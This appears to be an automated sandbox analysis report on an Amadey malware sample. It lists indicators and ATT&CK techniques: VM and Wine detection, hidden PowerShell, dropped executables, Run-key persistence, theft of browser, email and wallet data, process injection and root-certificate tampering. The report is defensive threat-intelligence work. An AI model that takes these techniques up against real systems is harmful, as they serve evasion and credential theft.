amadey | bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3213bc35b0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cfbb954bb6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d179efc16e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f139586082.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2560	powershell.exe
8	1600	powershell.exe
9	752	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.exe
1600	powershell.exe
752	powershell.exe
872	powershell.exe
2140	powershell.exe
2028	powershell.exe

Downloads MZ/PE file 18 IoCs

flow	pid	Process
8	1600	powershell.exe
9	752	powershell.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
7	1716	rapes.exe
14	1788	BitLockerToGo.exe
48	2672	BitLockerToGo.exe
4	2560	powershell.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x000700000001a03b-466.dat	net_reactor
behavioral1/memory/484-474-0x00000000003F0000-0x0000000000450000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d179efc16e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3213bc35b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3213bc35b0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f139586082.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cfbb954bb6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cfbb954bb6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d179efc16e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f139586082.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Process not Found

Executes dropped EXE 64 IoCs

pid	Process
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
1716	rapes.exe
3036	f2de3ae59f.exe
2392	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
848	483d2fa8a0d53818306efeb32d3.exe
2064	d179efc16e.exe
2208	38ebb38e9d.exe
2052	38ebb38e9d.exe
1236	3213bc35b0.exe
1552	f139586082.exe
1528	cfbb954bb6.exe
2928	z3SJkC5.exe
2728	z3SJkC5.exe
2876	WiseTurbo.exe
1364	BXxKvLN.exe
484	mAtJWNv.exe
2788	mAtJWNv.exe
2072	mAtJWNv.exe
2572	mAtJWNv.exe
2148	mAtJWNv.exe
2976	mAtJWNv.exe
1144	mAtJWNv.exe
1756	mAtJWNv.exe
3032	mAtJWNv.exe
2332	mAtJWNv.exe
3024	mAtJWNv.exe
2316	mAtJWNv.exe
2920	mAtJWNv.exe
2880	mAtJWNv.exe
2768	mAtJWNv.exe
940	mAtJWNv.exe
928	mAtJWNv.exe
1280	mAtJWNv.exe
3068	mAtJWNv.exe
1012	mAtJWNv.exe
2096	mAtJWNv.exe
276	mAtJWNv.exe
1504	mAtJWNv.exe
2464	mAtJWNv.exe
2804	mAtJWNv.exe
2836	mAtJWNv.exe
2304	mAtJWNv.exe
2776	mAtJWNv.exe
2240	mAtJWNv.exe
1136	mAtJWNv.exe
2296	mAtJWNv.exe
1796	mAtJWNv.exe
2440	mAtJWNv.exe
2272	mAtJWNv.exe
2488	mAtJWNv.exe
1596	mAtJWNv.exe
952	mAtJWNv.exe
1336	mAtJWNv.exe
556	mAtJWNv.exe
1260	mAtJWNv.exe
2064	mAtJWNv.exe
988	mAtJWNv.exe
1852	mAtJWNv.exe
2092	mAtJWNv.exe
2216	mAtJWNv.exe
1000	mAtJWNv.exe
2444	mAtJWNv.exe
2396	mAtJWNv.exe
2496	mAtJWNv.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	f139586082.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	cfbb954bb6.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	d179efc16e.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	3213bc35b0.exe
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	Process not Found
Key opened	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Wine	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE

Loads dropped DLL 64 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
1716	rapes.exe
1600	powershell.exe
1600	powershell.exe
752	powershell.exe
752	powershell.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
2208	38ebb38e9d.exe
1992	WerFault.exe
1992	WerFault.exe
1992	WerFault.exe
1992	WerFault.exe
1992	WerFault.exe
580	WerFault.exe
580	WerFault.exe
580	WerFault.exe
580	WerFault.exe
580	WerFault.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
1788	BitLockerToGo.exe
1716	rapes.exe
2928	z3SJkC5.exe
2728	z3SJkC5.exe
2728	z3SJkC5.exe
772	WerFault.exe
772	WerFault.exe
772	WerFault.exe
772	WerFault.exe
772	WerFault.exe
1716	rapes.exe
1716	rapes.exe
1716	rapes.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe
484	mAtJWNv.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Windows\CurrentVersion\Run\f2de3ae59f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10099760101\\f2de3ae59f.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10099770121\\am_no.cmd"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001923d-37.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
2688	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
1716	rapes.exe
2392	TempRAIJGTFGZMLATZDJGA1GCKE6CMHFGTTX.EXE
848	483d2fa8a0d53818306efeb32d3.exe
2064	d179efc16e.exe
1236	3213bc35b0.exe
1552	f139586082.exe
1528	cfbb954bb6.exe
31372	Process not Found
83204	Process not Found

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2208 set thread context of 2052	2208	38ebb38e9d.exe	64
PID 2064 set thread context of 1788	2064	d179efc16e.exe	69
PID 1528 set thread context of 2672	1528	cfbb954bb6.exe	74
PID 56676 set thread context of 56968	56676	Process not Found	6928

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
File opened for modification	C:\Windows\WindowsUpdate.log	z3SJkC5.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
1992	2208	WerFault.exe	63
580	2052	WerFault.exe	64
772	2728	WerFault.exe	77
34188	31372	Process not Found	3755
45624	13616	Process not Found	1542
57040	56676	Process not Found	6895
58632	56968	Process not Found	6928

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3213bc35b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78796a8755ee5cc1c74279bbba9dadd9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	38ebb38e9d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	38ebb38e9d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	z3SJkC5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempRFPV4HRQDHH30Y7WFRYTHODVGFFQDVBI.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f2de3ae59f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d179efc16e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f139586082.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cfbb954bb6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	z3SJkC5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WiseTurbo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2032	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

defense_evasion spyware trojan

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 7 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	f139586082.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	3213bc35b0.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	3213bc35b0.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	3213bc35b0.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480